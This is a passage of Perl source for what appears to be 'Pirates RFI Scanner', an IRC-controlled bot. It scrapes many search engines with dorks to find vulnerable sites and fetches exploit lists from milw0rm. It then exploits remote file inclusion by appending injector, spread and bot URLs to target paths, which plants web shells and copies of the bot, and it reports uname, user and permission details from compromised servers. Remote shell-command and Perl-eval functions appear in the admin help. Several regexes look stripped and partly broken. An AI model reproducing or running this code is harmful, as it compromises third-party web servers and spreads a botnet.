msgt($chan,$colz{3}."Uol",$colz{6}." $h"); } if ( $q =~ // ) { my $nxurl = htmltourl($1); if ($conf{showdbse} == 1){msgn($dbgchan,"Uol","$nxurl");} } while ( $q =~ m//g ) { push (@daftar, $1); } for ($p=1;$p/g ) { push (@daftar, $1); } if ( $q !~ /(.+?)/ ) { my $h = $1; $h =~ s/,//g; msgt($chan,$colz{3}."Clusty",$colz{6}." $h"); } if ( $q =~ /next/ ) { my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Clusty",htmltourl($nxurl));} } while ( $q =~ m/next/ ) { $nxurl = $murl.htmltourl($1); $q = bukasitus($nxurl); while ( $q =~ m/Next/ ) { my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Lycos","$nxurl");} } while ( $q =~ m/(.*?) risultati per / ) { my $h = $1; $h =~ s/,//g; $h =~ s/\.//g; msgt($chan,$colz{3}."Virgilio",$colz{6}." $h"); } if ( $q =~ /Avanti/ ) { my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Virgilio","$nxurl");} } while ( $q =~ m/Avanti/ ) { $nxurl = $murl.htmltourl($1); $q = bukasitus($nxurl); while ( $q =~ m//g ) { push (@daftar, $1); } if ( $q !~ // ) { return @daftar; } } return @daftar;}##[ HOTBOT ]##sub se_hotbot { my ($chan,$key,$nf) = @_; my @daftar; my $num = 1; my $max = 200; my $p; for ( $p = 0;$p http:\/\/(.+?)/g ) { my $l = $1 ; if ($l !~ /hotbot/) { push (@daftar, $l); } } if ( $q !~ /http:\/\/(.+?)/ ) { return @daftar; } } return @daftar;}##[ NETSCAPE ]##sub se_netscape { my ($chan,$key,$nf) = @_; my @daftar; my $num = 1; my $max = 10; my $p; for ( $p = 0;$p http:\/\/(.*?)/g ) { my $l = $1 ; if ($l !~ /search.netscape/) { push (@daftar, $l); } } if ( $q !~ /url\">http:\/\/(.*?)/ ) { return @daftar; } } return @daftar;}##[ WEBCRAWLER ]##sub se_webcrawler { my ($chan,$key,$nf) = @_; my @daftar; my $num = 50; my $max = 500; my $p; for ( $p = 0;$p \((.+?) of (.+?)\)/ ) { my $h = $2; $h =~ s/,//g; msgt($chan,"Dmoz","$h"); } if ( $q =~ /Next\">/ ) { my $nxurl = $1; msgn($dbgchan,"Dmoz","Searching:"); } while ( $q =~ m/Next/ ) { $nxurl = $murl.htmltourl($1); $q = bukasitus($nxurl); while ( $q =~ m/http:\/\/(.+?)/g ) { push (@daftar, $1); } if ( $q !~ m/target=\"_blank\">http:\/\/(.+?)/g ) { return @daftar; } if ( $q =~ /We didn't find any results matching your query/ ) { return @daftar; } } return @daftar;}##[ MAMMA ]##sub se_mamma { my ($chan,$key,$nf) = @_; my @daftar; my $num = 50; my $max = 10; my $p = 1; #my $url = "http://localhost/search/mamma.com.htm"; my $url = "http://mamma.com/Mamma?utfout=1&query=".$key."&qtype=0&rpp=50&cb=Mamma&index=".$p; my $murl; my $nxurl; my $q = bukasitus($url); if ( $q =~ /Search Results .*? of (.*?) for/ ) { my $h = $1; $h =~ s/,//g; msgt($chan,"Mamma","$h"); } if ( $q =~ /Next/ ) { my $h = $1; $h =~ s/,//g; msgn($dbgchan,"Mamma","Next: $h"); } while ( $q =~ m/http:\/\/(.*?)\/g ) { my $l = $1 ; if ($l !~ /mamma.com/) { push (@daftar, $l); } } while ( $q =~ /Next/ ) { $nxurl = $murl.htmltourl($1); $q = bukasitus($nxurl); while ( $q =~ m/http:\/\/(.*?)\/g ) { my $l = $1 ; if ($l !~ /mamma.com/) { push (@daftar, $l); } } } return @daftar;}## EUROSEEK ##sub se_euroseek { my ($chan,$key,$nf) = @_; my @daftar; my $num = 10; my $max = 6000; my $p; for ( $p = 0;$p /g ) { push (@daftar, $1); } if ( $q !~ /Next/ ) { return @daftar; } } return @daftar;}##[ ABACHO ]##sub se_abacho { my ($chan,$key,$nf) = @_; my @daftar; my $num = 10; my $max = 1000; my $p = 0; for ( $p = 0;$p http:\/\/(.+?)/g ) { push (@daftar, $1); } if ( $q !~ m/target=\"_blank\">http:\/\/(.+?)/g ) { return @daftar; } if ( $q =~ /We didn't find any results matching your query/ ) { return @daftar; } } return @daftar;}##[ FIREBALL ]##sub se_fireball { my ($chan,$key,$nf) = @_; my @daftar; my $num = 1; my $max = 500; my $p; for ( $p = 0;$p (.+?)/ ) { my $h = $1; $h =~ s/,//g; msgt($chan,"Gigablast","$h"); } if ( $q =~ // ) { my $nxurl = $1; msgn($dbgchan,"Gigablast","Searching:"); } while ( $q =~ m//g ) { push (@daftar, $1); } while ( $q =~ // ) { $nxurl = $murl.htmltourl($1); $q = bukasitus($nxurl); while ( $q =~ m//g ) { push (@daftar, $1); } } return @daftar;}sub se_ask { my ($chan,$key,$nf) = @_; my @daftar; my $num = 1; my $max = 200; my $p; for ( $p = 0;$p next/g ) { return @daftar; } } return @daftar;}sub se_exalead { my ($chan,$key,$nf) = @_; my @daftar; my $num = 50; my $max = 2000; my $p; for ( $p = 0;$p /g ) { return @daftar; } } return @daftar;}sub se_rediff { my ($chan,$key,$nf) = @_; my @daftar; my $num = 10; my $max = 2000; my $p; for ( $p = 0;$p ) { $r =~ s/\n//g; push(@bugz,$r); } close(FILE); f_hapus("joomla.txt*"); return @bugz; }}##[ MILW0RM ]##sub milw0rm { my ($chan,$key) = @_; my $max = 10; my $i; #my $q = bukasitus("http://localhost/milw0rm_rfi.htm"); my $q = bukasitus("http://milw0rm.com/search.php?dong=".urlen($key)); irc_msg($chan,"[milw0rm.com] $key "); while ( $q =~ m/(.*?)/g ) { $i++; my ($exp,$judul) = ($1,$2); irc_msg($chan,$colz{1}." $judul http://milw0rm.com/exploits/$exp "); sleep(1); return if ($i == $max); }}##[ BERSIH DORK ]##sub bersihdork { my ($chan,$dork) = @_; if ( $dork =~ /inurl:|allinurl:|intext:|allintext:|intitle:|allintitle:/ ) { irc_msg($chan,$colz{1}." Membersihkan kata kunci Google.. "); $dork =~ s/^inurl://g; $dork =~ s/^allinurl://g; $dork =~ s/^intext://g; $dork =~ s/^allintext://g; $dork =~ s/^intitle://g; $dork =~ s/^allintitle://g; } return $dork;}##[ SORTIR LINK ]##sub lnk_sortir { my @unik = (); my %ada = (); foreach my $e ( @_ ) { next if $ada{ $e }++; push @unik, $e; } return @unik;}##[ SUBLINK ]##sub lnk_sub { my $link = $_[0]; my (@links,$path); my ($host,@paths) = split(/\//,$link); $host .= "/"; push (@links,$host); foreach my $e (@paths) { if ($e) { $path .= $e."/"; my $sublink = $host.$path; push (@links,$sublink); } } return @links;}##[ INFO OS ]##sub info_os { my $url = $_[0]; my @info; my $h = bukasitus($url.$zfxid2."??"); my ($safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc); while ( $h =~ m/
SAFE: (.+?)
/g ) { $safe = $1; } while ( $h =~ m/
OS: (.+?)
/g ) { $os = $1; } while ( $h =~ m/
UNAME: (.+?)
/g ) { $uname = $1; } while ( $h =~ m/
SERVER: (.+?)
/g ) { $server = $1; } while ( $h =~ m/
USER: (.+?)
/g ) { $user = $1; } while ( $h =~ m/
UID: (.+?)
/g ) { $uid = $1; } while ( $h =~ m/
DIR: (.+?)
/g ) { $dir = $1; } while ( $h =~ m/
PERM: (.+?)
/g ) { $perm = $1; } while ( $h =~ m/
HDD: (.+?)
/g ) { $hdd = $1; } while ( $h =~ m/
DISFUNC: (.+?)
/g ) { $disfunc = $1; } push (@info,$safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc); return @info;}##[ SAFEMODE INFO ]##sub safemode { my ($type,$chan,$situs,$bug,$engine) = @_; my $safemode; my $vurn; my $sb; if ($type == 1) { $vurn = "http://".$situs.$bug; $sb = $vurn."5".$fx29sh."?"; } else { $vurn = $situs; $sb = $vurn; } my ($safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc) = info_os($vurn); if ($safe =~ /OFF/) { $safemode = "4OFF"; } elsif ($safe =~ /ON/) { $safemode ="9ON"; } else { $safemode ="0-"; } if ($disfunc) { $disfunc = "9[Disfunc]0[7 $disfunc 0]"; } else { $disfunc = ""; } if ($perm =~/W/) { $perm = "12$perm"; } else { $perm = "4$perm"; } my $S1 = "9,1 [".$safemode."9]9[$os]0[ $sb 0]"; my $S2 = "9,1 [Uname]0[ $uname ]9 [User]0[ $user / $uid ] 9[Server]0[ $server ] "; my $S3 = "9,1 [Dir]0[ $dir $perm 0] 9[HDD]0[0 $hdd 0] $disfunc "; if ($type == 1) { irc_msg($chanx,$S1); irc_msg($chanx,$S2); irc_msg($chanx,$S3); ##[ SPREADING ]## my ($q1,$q2,$q3,$q4) = (bukasitus($vurn.$spread."?"),bukasitus($vurn.$pbot."?"),bukasitus($vurn.$thebot."?"),bukasitus($vurn.$spread."?")); if ($q1 =~ /Writed to (.+?)!/) { irc_msg($chanx,"9,1 [Shell]0[ $1 0] "); } sleep($conf{sleepz}); irc_msg($chan,$colz{3}.$engine.$colz{4}) if ($engine); } irc_msg($chan,$S1); irc_msg($chan,$S2); irc_msg($chan,$S3);}##[ CEK SHELL ]##sub cek_shell { my ($chan,$nick,$situs) = @_; my $q = bukasitus($situs.$zfxid."?"); my ($q1,$q2,$q3,$q4) = (bukasitus($situs.$spread."?"),bukasitus($situs.$pbot."?"),bukasitus($situs.$spread."?"),bukasitus($situs.$thebot."?")); print $q; if ( $q =~ /ShiroHige/ ) { safemode(2,$chan,$situs,"",""); } else { irc_msg($chan,$nick.", targetnya ga vurnerable!"); }}##[ NYETAK BOT hajar ]##sub gae_bota { my ($chan,$nick,$situs) = @_; my ($q1,$q2,$q3,$q4) = (bukasitus($situs.$pbot."?"),bukasitus($situs.$pbot."?"),bukasitus($situs.$pbot."?"),bukasitus($situs.$pbot."?")); irc_msg($chan,$colz{1}."Proses Nyetak Bot hajar loading...");}##[ NYETAK BOT ENDEL ]##sub gae_botb { my ($chan,$nick,$situs) = @_; my ($q1,$q2,$q3,$q4) = (bukasitus($situs.$cbot."?"),bukasitus($situs.$cbot."?"),bukasitus($situs.$cbot."?"),bukasitus($situs.$cbot."?")); irc_msg($chan,$colz{1}."Proses Nyetak Bot ENDEL loading..");}##[ NYETAK BOT PING ]##sub gae_botc { my ($chan,$nick,$situs) = @_; my ($q1,$q2,$q3) = (bukasitus($situs.$thebot."?"),bukasitus($situs.$thebot."?"),bukasitus($situs.$thebot."?")); irc_msg($chan,$colz{1}."Proses Nyetak Bot PING loading..");}##[ NYETAK BOT MILDNET ]##sub gae_botm { my ($chan,$nick,$situs) = @_; my ($q1,$q2,$q3,$q4) = (bukasitus($situs.$spread."?"),bukasitus($situs.$spread."?"),bukasitus($situs.$spread."?"),bukasitus($situs.$spread."?")); irc_msg($chan,$colz{1}."Prosesing Nyetak Bot MILDNET Loading...");}##[ ENTER LINK ]##sub entered { my ($chan,$nick,$situs) = @_; my ($q1,$q2) = (bukasitus($situs."??"),bukasitus($situs."??")); irc_msg($chan,$colz{1}."ENTER LINK Please Wait...");}##[ Gae BOT scan ]##sub gaescan { my ($chan,$nick,$situs) = @_; my $q1 = (bukasitus($situs.$botscan."?")); irc_msg($chan,$colz{1}."PROSES LOAD BOT scan Please Wait...");}##[ Gae BOT EDAN ]##sub gaeruwet { my ($chan,$nick,$situs) = @_; my $q1 = (bukasitus($situs.$botedan."?")); irc_msg($chan,$colz{1}."PROSES LOAD BOT crot Please Wait...");}##[ CEK RESPON ]##sub cek_respon { my $chan = $_[0]; my ($q1,$q2,$q3) = (bukasitus($zfxid),bukasitus($zfxid2),bukasitus($fx29sh)); my ($rid,$rid2,$rsh,$stat); if ( $q1 =~ /ZFxID/ ) { $rid = "mencret"; $stat = 1; } else { $rid = "BOSOKKKK!"; $stat = 0; } if ( $q2 =~ /ZFxID2/ ) { $rid2 = "bocor"; $stat += 1; } else { $rid2 = "BOSOKKKK!"; $stat += 0; } if ( $q3 =~ /FaTaLisTiCz_Fx/ ) { $rsh = "Suip kang"; } else { $rsh = "ERROR!"; } irc_msg($chan,$colz{1}."ZFxID: $rid ZFxID2: $rid2".$colz{2}); return $stat;}##[ CEK DORK ]##sub cek_dork { my $dork = $_[0]; foreach my $d (@baddorkz) { if ($dork =~ /$d/) { return 1; } } return 0;}##[ CEK BUG ]##sub cek_bug { my $bug = $_[0]; foreach my $b (@badbugz) { if ($bug =~ /$b/) { return 1; } } return 0;}##[ RUTIN PENANGANAN FILE ]##sub f_hapus { my $file = $_[0]; system("rm $file"); }sub f_simpan { my ($nf,$hc) = @_; my $fh; open( $fh, ">>", $nf ); my @slink = lnk_sub($hc); foreach my $s (@slink) { print $fh "$s\n"; } close $fh;}sub f_simpan2 { my ($nf,$isi) = @_; my $fh; open( $fh, ">", $nf ); print $fh "$isi\n"; close $fh;}sub f_simpan2b { my ($nf,$isi) = @_; my $fh; open( $fh, ">>", $nf ); print $fh "$isi\n"; close $fh;}##[ HTTP QUERY ]##sub bukasitus { my $url = $_[0]; my $request = HTTP::Request->new(GET => $url); my $ua = LWP::UserAgent->new; $ua->timeout($conf{timeout}); $ua->agent('Mozilla/5.0'); my $response = $ua->request($request); if ($response->is_success) { return $response->content; } else { return $response->status_line; }}sub bukasitus2 { my $url = $_[0]; my $ua = LWP::UserAgent->new; $ua->timeout($conf{timeout}); $ua->agent('Mozilla/5.0'); my $response = $ua->get($url); if ($response->is_success) { return $response->content; } else { return $response->status_line; }}sub bukasitus3 { my $url = $_[0]; my $host = $url; my $query = $url; my $isi; my $kirim; my $uagent = "Mozilla/5.0"; $host =~ s/http:\/\/([-a-zA-Z0-9\.]+)\/.*/$1/; $query =~ s/$host//; eval { my $sock = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto => "tcp") || return; $kirim = "GET ".$query." HTTP/1.1\r\nHost: ".$host."\r\nAccept: */*\r\nUser-Agent: ".$uagent."\r\n\r\n"; print $sock $kirim; my @r = ; $isi = "@r"; close($sock); }; return $isi;}sub SiteDomains { my @dom = ("com","co.kr","or.kr","pe.kr","ms.kr","hs.kr","go.kr","net","org","uk",".kr","ru","it","fr","cz","com.ua","cn","ca","nl","hu","tv","li","com.au","de");} ##[ ENCODE/DECODE ]##sub htmltourl { my $str = $_[0]; $str =~ s/&/&/g; return $str; }sub urlen { my $str = $_[0]; #$str =~ s/\+/\%2B/g; $str =~ s/ /\+/g; $str =~ s/@/\%40/g; $str =~ s/\//\%2F/g; $str =~ s/&/\%26/g; $str =~ s/\"/\%22/g; $str =~ s/,/\%2C/g; $str =~ s/\\/\%5C/g; $str =~ s/:/\%3A/g; $str =~ s/\[/\%5B/g; $str =~ s/\]/\%5D/g; $str =~ s/\?/\%3F/g; $str =~ s/\=/\%3D/g; $str =~ s/\|/\%7C/g; return $str;}sub urlde { my $str = $_[0]; $str =~ s/\+/ /g; $str =~ s/\%2B/\+/g; $str =~ s/\%40/@/g; $str =~ s/\%2E/\./g; $str =~ s/\%2F/\//g; $str =~ s/\%26/&/g; $str =~ s/\%22/\"/g; $str =~ s/\%2C/,/g; $str =~ s/\%5C/\\/g; $str =~ s/\%3A/:/g; $str =~ s/\%5[b|b]/\[/g; $str =~ s/\%5[D|d]/\]/g; $str =~ s/\%3F/\?/g; $str =~ s/\%3D/\=/g; $str =~ s/\%7C/\|/g; return $str;}sub cryptz { return crypt($_[0],"shirohige"); }##[ TRIMMER CRLF ]##sub trimrn { my $str = $_[0]; if (!$str) { return ""; } $str =~ s/\r// if ($str); $str =~ s/\n//; return $str;}##[ INFO BOT ]##sub bot_info { my $chan = $_[0]; my $hlogo = "[X]"; my $uname = `uname -a`; my $uid = `id`; my $uptime = `uptime`; my @info = ( $hlogo."Pirates RFI Scanner $versi Info ", $hlogo."Written under ActivePerl 5.8.8 Build 820 by cRuTz (IndoIrc Crew) ", $hlogo."Uname:0 $uname ", $hlogo."Uid:0 $uid ", $hlogo."Uptime:0 $uptime ", ); foreach my $m(@info) { irc_msg($chan,$m); }}##[ HELP BOT ]##sub bot_help { my ($chan,$level) = @_; my $hsepz = "[X] "; my $hlogo = "[X]".$cmdpre; my @help; my $i; my @hlp1 = ( $hsepz."PIRATES RFI Scanner $versi Help ", $hlogo."scan|scan2 12 []X[]15 Memulai scanner | scanner & Eksploit RFI ", $hlogo."respon 12 []X[]15 Cek Respon & Injector RFI ", $hlogo."milw0rm 12 []X[]15 Mencari daftar bug di milw0rm ", $hlogo."cek 12 []X[]15 Cek RFI shell ", $hlogo."info 12 []X[]15 Informasi bot ", $hlogo."urlen|urlde 12 []X[]15 Encoder/Decoder URL ", $hlogo."auth 12 []X[]15 Login ke bot ", ); my @hlp2 = ( $hsepz."User Commands: ", $hlogo."joomla 15 Memulai scanner & Eksploit RFI Joomla ", $hlogo."hitung 15 Mengganti hitungan proses eksploitasi ", $hlogo."cryptz 15 Membuat password yg terenkripsi ", $hlogo."join|part 15 Join/Part channel ", $hlogo."nick 15 Ganti nick bot ", $hlogo."logout 15 Logout dari bot ", ); my @hlp3 = ( $hsepz."Admin Commands: ", $hlogo."crespon[1/2]|cshell|cspread 15 Mengganti respon/injector/spread/spread2 RFI ", $hlogo."rfipid 15 Mengganti RFI PID ", $hlogo."spy 15 Menampilkan konfigurasi Spy ", $hlogo."spyhost 15 Channel host buat spy ", $hlogo."spychan 15 Channel yang akan di spy ", $hlogo."spyword 15 Kata yg di akan spy ", $hlogo."raw 15 Perintah Raw IRC ", $hlogo."cmd 15 Mengeksekusi perintah di shell ", $hlogo."eval 15 Mengeksekusi kode perl ", $hlogo."quit 15 Quit dari IRC ", $hlogo."keluar 15 Quit dari IRC & Matikan semua proses Perl ", ); my @hlp4 = ( $hsepz."vodoo RFI Scanner $versi Comand Rahasia ", $hlogo."autoscan 15 Memulai auto RFI scanner domains ", $hlogo."gonick 15 Mengubah nickbot ", $hlogo."gojoin 15Join ke chan ", $hlogo."gopart 15Part dr chan ", $hlogo."rfiproses 15Mengubah proses PID Expoid ", $hlogo."explo 15Mengubah proses Expoid Count ", $hlogo."cshell 15Mengubah URL injektor ", $hlogo."goid(1|2) 15Mengubah URL ID respon 1 & 2 ", $hlogo."csp 15Mengubah URL Spread ", $hlogo."urlbot(1|2|3) 15Mengubah URL Bot Spread 1,2&3 ", $hlogo."urlcetak(1|2) 15Mengubah URL Mesin Cetak Spread 1&2 ", $hlogo."gae(bot|botendel|botping|botscan|botedan) 15Proses Pencetakan Bot", $hlogo."reonline 15 Reconect Bot ", ); if ( $level == 1 ) { push(@help,@hlp1); } elsif ( $level == 2 ) { push(@help,@hlp2); } elsif ( $level == 3 ) { push(@help,@hlp3); } elsif ( $level == 4 ) { push(@help,@hlp4); } foreach my $m (@help) { irc_msg($chan,$m); $i++; if ( $i % $conf{linez} == 0 ) { sleep($conf{sleepz}); } }}##[ CUSTOM MESSAGE ]##sub msge { my ($chan,$se,$res) = @_; irc_msg($chan," ".$se." ".$res." "); }sub msgi { my ($chan,$judul,$info) = @_; irc_msg($chan," [$judul] $info "); }sub msgn { my ($chan,$se,$nxurl) = @_; irc_msg($chan," ".$se." ".$nxurl." "); }sub msgr { my ($chan,$se,$totr,$clr) = @_; irc_msg($chan,"( ".$se." ".$totr." ".$clr." )"); }sub msgt { my ($chan,$se,$res) = @_; irc_msg($chan,"( ".$se." ".$res." )"); }sub ntci { my ($chan,$judul,$info) = @_; irc_ntc($chan," [$judul] $info "); }##[ PERINTAH RAW IRC ]##sub irc_raw { my $data = $_[0]; print $sock "$data\r\n"; }sub irc_nick { my $nick = $_[0]; irc_raw("NICK $nick"); }sub irc_user { my $ident = $_[0]; irc_raw("USER $ident localhost * :..::[ PHP-BOT $versi ]::.."); }sub irc_msg { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :$psn"); }sub irc_act { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :ACTION $psn"); }sub irc_ntc { my ($to,$psn) = @_; irc_raw("NOTICE $to :$psn"); }sub irc_join { my $to = $_[0]; irc_raw("JOIN $to"); }sub irc_part { my $to = $_[0]; irc_raw("PART $to"); }sub irc_quit { my $psn = $_[0]; irc_raw("QUIT :$psn"); exit; }################################[ No crew No spam ]################################